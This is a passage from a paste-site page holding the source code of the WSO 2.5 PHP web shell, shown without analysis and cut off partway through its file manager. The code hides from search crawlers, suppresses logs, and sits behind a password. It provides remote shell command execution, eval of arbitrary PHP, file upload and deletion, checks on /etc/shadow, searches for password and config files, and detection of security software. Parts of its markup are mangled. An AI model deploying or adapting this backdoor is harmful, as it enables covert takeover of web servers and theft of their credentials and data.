Facebook
From aaaa, 1 Month ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 151
  1. ?><?php
  2. $auth_pass = "63a9f0ea7bb98050796b649e85481845";
  3. $color = "#df5";
  4. $default_action = 'FilesMan';
  5. $default_use_ajax = true;
  6. $default_charset = 'Windows-1251';
  7.  
  8. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  9.     $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  10.     if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  11.         header('HTTP/1.0 404 Not Found');
  12.         exit;
  13.     }
  14. }
  15.  
  16. @ini_set('error_log',NULL);
  17. @ini_set('log_errors',0);
  18. @ini_set('max_execution_time',0);
  19. @set_time_limit(0);
  20. @set_magic_quotes_runtime(0);
  21. @define('WSO_VERSION', '2.5');
  22.  
  23. if(get_magic_quotes_gpc()) {
  24.  function WSOstripslashes($array) {
  25.   return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
  26.  }
  27.  $_POST = WSOstripslashes($_POST);
  28.     $_COOKIE = WSOstripslashes($_COOKIE);
  29. }
  30.  
  31. function wsoLogin() {
  32.  die("<pre align=center><form method=post>Password: <input type=password name=pass>></form></pre>");
  33. }
  34.  
  35. function WSOsetcookie($k, $v) {
  36.     $_COOKIE[$k] = $v;
  37.     setcookie($k, $v);
  38. }
  39.  
  40. if(!empty($auth_pass)) {
  41.     if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
  42.         WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
  43.  
  44.     if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
  45.         wsoLogin();
  46. }
  47.  
  48. if(strtolower(substr(PHP_OS,0,3)) == "win")
  49.  $os = 'win';
  50. else
  51.  $os = 'nix';
  52.  
  53. $safe_mode = @ini_get('safe_mode');
  54. if(!$safe_mode)
  55.     error_reporting(0);
  56.  
  57. $disable_functions = @ini_get('disable_functions');
  58. $home_cwd = @getcwd();
  59. if(isset($_POST['c']))
  60.  @chdir($_POST['c']);
  61. $cwd = @getcwd();
  62. if($os == 'win') {
  63.  $home_cwd = str_replace("", "/", $home_cwd);
  64.  $cwd = str_replace("", "/", $cwd);
  65. }
  66. if($cwd[strlen($cwd)-1] != '/')
  67.  $cwd .= '/';
  68.  
  69. if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
  70.     $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
  71.  
  72. if($os == 'win')
  73.  $aliases = array(
  74.   "List Directory" => "dir",
  75.      "Find index.php in current dir" => "dir /s /w /b index.php",
  76.      "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  77.      "Show active connections" => "netstat -an",
  78.      "Show running services" => "net start",
  79.      "User accounts" => "net user",
  80.      "Show computers" => "net view",
  81.   "ARP Table" => "arp -a",
  82.   "IP Configuration" => "ipconfig /all"
  83.  );
  84. else
  85.  $aliases = array(
  86.     "List dir" => "ls -lha",
  87.   "list file attributes on a Linux second extended file system" => "lsattr -va",
  88.     "show opened ports" => "netstat -an | grep -i listen",
  89.         "process status" => "ps aux",
  90.   "Find" => "",
  91.     "find all suid files" => "find / -type f -perm -04000 -ls",
  92.     "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  93.     "find all sgid files" => "find / -type f -perm -02000 -ls",
  94.     "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  95.     "find config.inc.php files" => "find / -type f -name config.inc.php",
  96.     "find config* files" => "find / -type f -name "config*"",
  97.     "find config* files in current dir" => "find . -type f -name "config*"",
  98.     "find all writable folders and files" => "find / -perm -2 -ls",
  99.     "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  100.     "find all service.pwd files" => "find / -type f -name service.pwd",
  101.     "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  102.     "find all .htpasswd files" => "find / -type f -name .htpasswd",
  103.     "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  104.     "find all .bash_history files" => "find / -type f -name .bash_history",
  105.     "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  106.     "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  107.     "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  108.   "Locate" => "",
  109.     "locate httpd.conf files" => "locate httpd.conf",
  110.   "locate vhosts.conf files" => "locate vhosts.conf",
  111.   "locate proftpd.conf files" => "locate proftpd.conf",
  112.   "locate psybnc.conf files" => "locate psybnc.conf",
  113.   "locate my.conf files" => "locate my.conf",
  114.   "locate admin.php files" =>"locate admin.php",
  115.   "locate cfg.php files" => "locate cfg.php",
  116.   "locate conf.php files" => "locate conf.php",
  117.   "locate config.dat files" => "locate config.dat",
  118.   "locate config.php files" => "locate config.php",
  119.   "locate config.inc files" => "locate config.inc",
  120.   "locate config.inc.php" => "locate config.inc.php",
  121.   "locate config.default.php files" => "locate config.default.php",
  122.   "locate config* files " => "locate config",
  123.   "locate .conf files"=>"locate '.conf'",
  124.   "locate .pwd files" => "locate '.pwd'",
  125.   "locate .sql files" => "locate '.sql'",
  126.   "locate .htpasswd files" => "locate '.htpasswd'",
  127.   "locate .bash_history files" => "locate '.bash_history'",
  128.   "locate .mysql_history files" => "locate '.mysql_history'",
  129.   "locate .fetchmailrc files" => "locate '.fetchmailrc'",
  130.   "locate backup files" => "locate backup",
  131.   "locate dump files" => "locate dump",
  132.   "locate priv files" => "locate priv"
  133.  );
  134.  
  135. function wsoHeader() {
  136.  if(empty($_POST['charset']))
  137.   $_POST['charset'] = $GLOBALS['default_charset'];
  138.  global $color;
  139.  echo "<html><head><meta http-equiv='Content-Type' c charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
  140. <style>
  141. body{background-color:#444;color:#e1e1e1;}
  142. body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
  143. table.info{ color:#fff;background-color:#222; }
  144. span,h1,a{ color: $color !important; }
  145. span{ font-weight: bolder; }
  146. h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
  147. div.content{ padding: 5px;margin-left:5px;background-color:#333; }
  148. a{ text-decoration:none; }
  149. a:hover{ text-decoration:underline; }
  150. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  151. .bigarea{ width:100%;height:300px; }
  152. input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
  153. form{ margin:0px; }
  154. #toolsTbl{ text-align:center; }
  155. .toolsInp{ width: 300px }
  156. .main th{text-align:left;background-color:#5e5e5e;}
  157. .main tr:hover{background-color:#5e5e5e}
  158. .l1{background-color:#444}
  159. .l2{background-color:#333}
  160. pre{font-family:Courier,Monospace;}
  161. </style>
  162. [removed]
  163.     var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  164.     var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  165.     var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  166.     var p1_ = '" . ((strpos(@$_POST['p1'],"n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
  167.     var p2_ = '" . ((strpos(@$_POST['p2'],"n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
  168.     var p3_ = '" . ((strpos(@$_POST['p3'],"n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
  169.     var d = document;
  170.  function set(a,c,p1,p2,p3,charset) {
  171.   if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  172.   if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
  173.   if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
  174.   if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
  175.   if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
  176.   if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  177.  }
  178.  function g(a,c,p1,p2,p3,charset) {
  179.   set(a,c,p1,p2,p3,charset);
  180.   d.mf.submit();
  181.  }
  182.  function a(a,c,p1,p2,p3,charset) {
  183.   set(a,c,p1,p2,p3,charset);
  184.   var params = 'ajax=true';
  185.   for(i=0;i[removed]
  186. <head><body><div >
  187. <form method=post name=mf >
  188. <input type=hidden name=a>
  189. <input type=hidden name=c>
  190. <input type=hidden name=p1>
  191. <input type=hidden name=p2>
  192. <input type=hidden name=p3>
  193. <input type=hidden name=charset>
  194. </form>";
  195.  $freeSpace = @diskfreespace($GLOBALS['cwd']);
  196.  $totalSpace = @disk_total_space($GLOBALS['cwd']);
  197.  $totalSpace = $totalSpace?$totalSpace:1;
  198.  $release = @php_uname('r');
  199.  $kernel = @php_uname('s');
  200.  $explink = 'http://exploit-db.com/search/?action=search&filter;_description=';
  201.  if(strpos('Linux', $kernel) !== false)
  202.   $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
  203.  else
  204.   $explink .= urlencode($kernel . ' ' . substr($release,0,3));
  205.  if(!function_exists('posix_getegid')) {
  206.   $user = @get_current_user();
  207.   $uid = @getmyuid();
  208.   $gid = @getmygid();
  209.   $group = "?";
  210.  } else {
  211.   $uid = @posix_getpwuid(posix_geteuid());
  212.   $gid = @posix_getgrgid(posix_getegid());
  213.   $user = $uid['name'];
  214.   $uid = $uid['uid'];
  215.   $group = $gid['name'];
  216.   $gid = $gid['gid'];
  217.  }
  218.  
  219.  $cwd_links = '';
  220.  $path = explode("/", $GLOBALS['cwd']);
  221.  $n=count($path);
  222.  for($i=0; $i<$n-1; $i++) {
  223.   $cwd_links .= ">".$path[$i]."/</a>";
  224.  }
  225.  
  226.  $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  227.  $opt_charsets = '';
  228.  foreach($charsets as $item)
  229.   $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  230.  
  231.  $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
  232.  if(!empty($GLOBALS['auth_pass']))
  233.   $m['Logout'] = 'Logout';
  234.  $m['Self remove'] = 'SelfRemove';
  235.  $menu = '';
  236.  foreach($m as $k => $v)
  237.   $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" >'.$k.'</a> ]</th>';
  238.  
  239.  $drives = "";
  240.  if($GLOBALS['os'] == 'win') {
  241.   foreach(range('c','z') as $drive)
  242.   if(is_dir($drive.':'))
  243.    $drives .= '<a href="#" >[ '.$drive.' ]</a> ';
  244.  }
  245.  echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
  246.        . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '">[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
  247.        . ' <a  >[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a   . $GLOBALS['home_cwd'] . '','','','')">[ home ]</a><br>' . $drives . '</td>'
  248.        . '<td width=1 align=right><nobr><select ><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
  249.        . '<table  solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div >';
  250. }
  251.  
  252. function wsoFooter() {
  253.  $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
  254.     echo "
  255. </div>
  256. <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%   solid #333;border-bottom:2px solid #333;'>
  257.  <tr>
  258.   <td><form  false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>></form></td>
  259.   <td><form  false;"><span>Read file:</span><br><input class='toolsInp' type=text name=f>></form></td>
  260.  </tr><tr>
  261.   <td><form  false;"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d>></form></td>
  262.   <td><form  false;"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f>></form></td>
  263.  </tr><tr>
  264.   <td><form  false;"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''>></form></td>
  265.   <td><form method='post' ENCTYPE='multipart/form-data'>
  266.   <input type=hidden name=a value='FilesMAn'>
  267.   <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
  268.   <input type=hidden name=p1 value='uploadFile'>
  269.   <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
  270.   <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f>></form><br  ></td>
  271.  </tr></table></div></body></html>";
  272. }
  273.  
  274. if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
  275.     function posix_getpwuid($p) {return false;} }
  276. if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
  277.     function posix_getgrgid($p) {return false;} }
  278.  
  279. function wsoEx($in) {
  280.  $out = '';
  281.  if (function_exists('exec')) {
  282.   @exec($in,$out);
  283.   $out = @join("n",$out);
  284.  } elseif (function_exists('passthru')) {
  285.   ob_start();
  286.   @passthru($in);
  287.   $out = ob_get_clean();
  288.  } elseif (function_exists('system')) {
  289.   ob_start();
  290.   @system($in);
  291.   $out = ob_get_clean();
  292.  } elseif (function_exists('shell_exec')) {
  293.   $out = shell_exec($in);
  294.  } elseif (is_resource($f = @popen($in,"r"))) {
  295.   $out = "";
  296.   while(!@feof($f))
  297.    $out .= fread($f,1024);
  298.   pclose($f);
  299.  }
  300.  return $out;
  301. }
  302.  
  303. function wsoViewSize($s) {
  304.     if (is_int($s))
  305.         $s = sprintf("%u", $s);
  306.    
  307.  if($s >= 1073741824)
  308.   return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  309.  elseif($s >= 1048576)
  310.   return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  311.  elseif($s >= 1024)
  312.   return sprintf('%1.2f', $s / 1024 ) . ' KB';
  313.  else
  314.   return $s . ' B';
  315. }
  316.  
  317. function wsoPerms($p) {
  318.  if (($p & 0xC000) == 0xC000)$i = 's';
  319.  elseif (($p & 0xA000) == 0xA000)$i = 'l';
  320.  elseif (($p & 0x8000) == 0x8000)$i = '-';
  321.  elseif (($p & 0x6000) == 0x6000)$i = 'b';
  322.  elseif (($p & 0x4000) == 0x4000)$i = 'd';
  323.  elseif (($p & 0x2000) == 0x2000)$i = 'c';
  324.  elseif (($p & 0x1000) == 0x1000)$i = 'p';
  325.  else $i = 'u';
  326.  $i .= (($p & 0x0100) ? 'r' : '-');
  327.  $i .= (($p & 0x0080) ? 'w' : '-');
  328.  $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  329.  $i .= (($p & 0x0020) ? 'r' : '-');
  330.  $i .= (($p & 0x0010) ? 'w' : '-');
  331.  $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  332.  $i .= (($p & 0x0004) ? 'r' : '-');
  333.  $i .= (($p & 0x0002) ? 'w' : '-');
  334.  $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  335.  return $i;
  336. }
  337.  
  338. function wsoPermsColor($f) {
  339.  if (!@is_readable($f))
  340.   return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
  341.  elseif (!@is_writable($f))
  342.   return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
  343.  else
  344.   return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
  345. }
  346.  
  347. function wsoScandir($dir) {
  348.     if(function_exists("scandir")) {
  349.         return scandir($dir);
  350.     } else {
  351.         $dh  = opendir($dir);
  352.         while (false !== ($filename = readdir($dh)))
  353.             $files[] = $filename;
  354.         return $files;
  355.     }
  356. }
  357.  
  358. function wsoWhich($p) {
  359.  $path = wsoEx('which ' . $p);
  360.  if(!empty($path))
  361.   return $path;
  362.  return false;
  363. }
  364.  
  365. function actionSecInfo() {
  366.  wsoHeader();
  367.  echo '<h1>Server security information</h1><div class=content>';
  368.  function wsoSecParam($n, $v) {
  369.   $v = trim($v);
  370.   if($v) {
  371.    echo '<span>' . $n . ': </span>';
  372.    if(strpos($v, "n") === false)
  373.     echo $v . '<br>';
  374.    else
  375.     echo '<pre class=ml1>' . $v . '</pre>';
  376.   }
  377.  }
  378.  
  379.  wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  380.     if(function_exists('apache_get_modules'))
  381.         wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
  382.  wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
  383.  wsoSecParam('Open base dir', @ini_get('open_basedir'));
  384.  wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  385.  wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  386.  wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  387.  $temp=array();
  388.  if(function_exists('mysql_get_client_info'))
  389.   $temp[] = "MySql (".mysql_get_client_info().")";
  390.  if(function_exists('mssql_connect'))
  391.   $temp[] = "MSSQL";
  392.  if(function_exists('pg_connect'))
  393.   $temp[] = "PostgreSQL";
  394.  if(function_exists('oci_connect'))
  395.   $temp[] = "Oracle";
  396.  wsoSecParam('Supported databases', implode(', ', $temp));
  397.  echo '<br>';
  398.  
  399.  if($GLOBALS['os'] == 'nix') {
  400.             wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#'  "/etc/", "passwd")'>[view]</a>":'no');
  401.             wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#'  "/etc/", "shadow")'>[view]</a>":'no');
  402.             wsoSecParam('OS version', @file_get_contents('/proc/version'));
  403.             wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  404.             if(!$GLOBALS['safe_mode']) {
  405.                 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  406.                 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  407.                 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  408.                 echo '<br>';
  409.                 $temp=array();
  410.                 foreach ($userful as $item)
  411.                     if(wsoWhich($item))
  412.                         $temp[] = $item;
  413.                 wsoSecParam('Userful', implode(', ',$temp));
  414.                 $temp=array();
  415.                 foreach ($danger as $item)
  416.                     if(wsoWhich($item))
  417.                         $temp[] = $item;
  418.                 wsoSecParam('Danger', implode(', ',$temp));
  419.                 $temp=array();
  420.                 foreach ($downloaders as $item)
  421.                     if(wsoWhich($item))
  422.                         $temp[] = $item;
  423.                 wsoSecParam('Downloaders', implode(', ',$temp));
  424.                 echo '<br/>';
  425.                 wsoSecParam('HDD space', wsoEx('df -h'));
  426.                 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
  427.                 echo '<br ><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form  false;'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table>></form>';
  428.                 if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
  429.                     $temp = "";
  430.                     for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  431.                         $uid = @posix_getpwuid($_POST['p2']);
  432.                         if ($uid)
  433.                             $temp .= join(':',$uid)."n";
  434.                     }
  435.                     echo '<br/>';
  436.                     wsoSecParam('Users', $temp);
  437.                 }
  438.             }
  439.  } else {
  440.   wsoSecParam('OS Version',wsoEx('ver'));
  441.   wsoSecParam('Account Settings',wsoEx('net accounts'));
  442.   wsoSecParam('User Accounts',wsoEx('net user'));
  443.  }
  444.  echo '</div>';
  445.  wsoFooter();
  446. }
  447.  
  448. function actionPhp() {
  449.  if(isset($_POST['ajax'])) {
  450.         WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
  451.   ob_start();
  452.   eval($_POST['p1']);
  453.   $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput')[removed]='" . addcslashes(htmlspecialchars(ob_get_clean()), "nrt\'�") . "';n";
  454.   echo strlen($temp), "n", $temp;
  455.   exit;
  456.  }
  457.     if(empty($_POST['ajax']) && !empty($_POST['p1']))
  458.         WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
  459.  
  460.  wsoHeader();
  461.  if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
  462.   echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
  463.   ob_start();
  464.   phpinfo();
  465.   $tmp = ob_get_clean();
  466.         $tmp = preg_replace(array (
  467.             '!(body|a:w+|body, td, th, h1, h2) {.*}!msiU',
  468.             '!td, th {(.*)}!msiU',
  469.             '!<img[^>]+>!msiU',
  470.         ), array (
  471.             '',
  472.             '.e, .v, .h, .h th {$1}',
  473.             ''
  474.         ), $tmp);
  475.   echo str_replace('<h1','<h2', $tmp) .'</div><br>';
  476.  }
  477.     echo '<h >Execution PHP-code</h1><div class=content><form name=pf method=post  false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval >';
  478.  echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput  class=ml1>';
  479.  if(!empty($_POST['p1'])) {
  480.   ob_start();
  481.   eval($_POST['p1']);
  482.   echo htmlspecialchars(ob_get_clean());
  483.  }
  484.  echo '</pre></div>';
  485.  wsoFooter();
  486. }
  487.  
  488. function actionFilesMan() {
  489.     if (!empty ($_COOKIE['f']))
  490.         $_COOKIE['f'] = @unserialize($_COOKIE['f']);
  491.    
  492.  if(!empty($_POST['p1'])) {
  493.   switch($_POST['p1']) {
  494.    case 'uploadFile':
  495.     if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  496.      echo "Can't upload file!";
  497.     break;
  498.    case 'mkdir':
  499.     if(!@mkdir($_POST['p2']))
  500.      echo "Can't create new dir";
  501.     break;
  502.    case 'delete':
  503.     function deleteDir($path) {
  504.      $path = (substr($path,-1)=='/') ? $path:$path.'/';
  505.      $dh  = opendir($path);
  506.      while ( ($item = readdir($dh) ) !== false) {
  507.       $item = $path.$item;
  508.       if ( (basename($item) == "..") || (basename($item) == ".") )
  509.        continue;
  510.       $type = filetype($item);
  511.       if ($type == "dir")
  512.        deleteDir($item);
  513.       else
  514.        @unlink($item);
  515.      }
  516.      closedir($dh);
  517.      @rmdir($path);
  518.     }
  519.     if(is_array(@$_POST['f']))
  520.      foreach($_POST['f'] as $f) {
  521.                         if($f == '..')
  522.                             continue;
  523.       $f = urldecode($f);
  524.       if(is_dir($f))
  525.        deleteDir($f);
  526.       else
  527.        @unlink($f);
  528.      }
  529.     break;
  530.    case 'paste':
  531.     if($_COOKIE['act'] == 'copy') {
  532.      function copy_paste($c,$s,$d){
  533.       if(is_dir($c.$s)){
  534.        mkdir($d.$s);
  535.        $h = @opendir($c.$s);
  536.        while (($f = @readdir($h)) !== false)
  537.         if (($f != ".") and ($f != ".."))
  538.          copy_paste($c.$s.'/',$f, $d.$s.'/');
  539.       } elseif(is_file($c.$s))
  540.        @copy($c.$s, $d.$s);
  541.      }
  542.      foreach($_COOKIE['f'] as $f)
  543.       copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
  544.     } elseif($_COOKIE['act'] == 'move') {
  545.      function move_paste($c,$s,$d){
  546.       if(is_dir($c.$s)){
  547.        mkdir($d.$s);
  548.        $h = @opendir($c.$s);
  549.        while (($f = @readdir($h)) !== false)
  550.         if (($f != ".") and ($f != ".."))
  551.          copy_paste($c.$s.'/',$f, $d.$s.'/');
  552.       } elseif(@is_file($c.$s))
  553.        @copy($c.$s, $d.$s);
  554.      }
  555.      foreach($_COOKIE['f'] as $f)
  556.       @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
  557.     } elseif($_COOKIE['act'] == 'zip') {
  558.      if(class_exists('ZipArchive')) {
  559.                         $zip = new ZipArchive();
  560.                         if ($zip->open($_POST['p2'], 1)) {
  561.                             chdir($_COOKIE['c']);
  562.                             foreach($_COOKIE['f'] as $f) {
  563.                                 if($f == '..')
  564.                                     continue;
  565.                                 if(@is_file($_COOKIE['c'].$f))
  566.                                     $zip->addFile($_COOKIE['c'].$f, $f);
  567.                                 elseif(@is_dir($_COOKIE['c'].$f)) {
  568.                                     $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
  569.                                     foreach ($iterator as $key=>$value) {
  570.                                         $zip->addFile(realpath($key), $key);
  571.                                     }
  572.                                 }
  573.                             }
  574.                             chdir($GLOBALS['cwd']);
  575.                             $zip->close();
  576.                         }
  577.                     }
  578.     } elseif($_COOKIE['act'] == 'unzip') {
  579.      if(class_exists('ZipArchive')) {
  580.                         $zip = new ZipArchive();
  581.                         foreach($_COOKIE['f'] as $f) {
  582.                             if($zip->open($_COOKIE['c'].$f)) {
  583.                                 $zip->extractTo($GLOBALS['cwd']);
  584.                                 $zip->close();
  585.                             }
  586.                         }
  587.                     }
  588.     } elseif($_COOKIE['act'] == 'tar') {
  589.                     chdir($_COOKIE['c']);
  590.                     $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
  591.                     wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
  592.                     chdir($GLOBALS['cwd']);
  593.     }
  594.     unset($_COOKIE['f']);
  595.                 setcookie('f', '', time() - 3600);
  596.     break;
  597.    default:
  598.                 if(!empty($_POST['p1'])) {
  599.      WSOsetcookie('act', $_POST['p1']);
  600.      WSOsetcookie('f', serialize(@$_POST['f']));
  601.      WSOsetcookie('c', @$_POST['c']);
  602.     }
  603.     break;
  604.   }
  605.  }
  606.     wsoHeader();
  607.  echo '<h1>File manager</h1><div class=content>[removed]p1_=p2_=p3_="";[removed]';
  608.  $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  609.  if($dirContent === false) { echo 'Can't open this folder!';wsoFooter(); return; }
  610.  global $sort;
  611.  $sort = array('name', 1);
  612.  if(!empty($_POST['p1'])) {
  613.   if(preg_match('!s_([A-z]+)_(d{1})!', $_POST['p1'], $match))
  614.    $sort = array($match[1], (int)$match[2]);
  615.  }
  616. echo "[removed]
  617.  function sa() {
  618.   for(i=0;i<d.files.elements.length;i++)
  619.    if(d.files.elements[i].type == 'checkbox')
  620.     d.files.elements[i].checked = d.files.elements[0].checked;
  621.  }
  622. [removed]
  623. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
  624. <form name=files method=post><tr><th width='13px'><input type=checkbox  class=chkbx></th><th><a href='#' >Name</a></th><th><a href='#' >Size</a></th><th><a href='#' >Modify</a></th><th>Owner/Group</th><th><a href='#' >Permissions</a></th><th>Actions</th></tr>";
  625.  $dirs = $files = array();
  626.  $n = count($dirContent);
  627.  for($i=0;$i<$n;$i++) {
  628.   $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  629.   $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  630.   $tmp = array('name' => $dirContent[$i],
  631.       'path' => $GLOBALS['cwd'].$dirContent[$i],
  632.       'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
  633.       'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
  634.       'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  635.       'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  636.       'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  637.      );
  638.   if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
  639.    $files[] = array_merge($tmp, array('type' => 'file'));
  640.   elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
  641.    $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
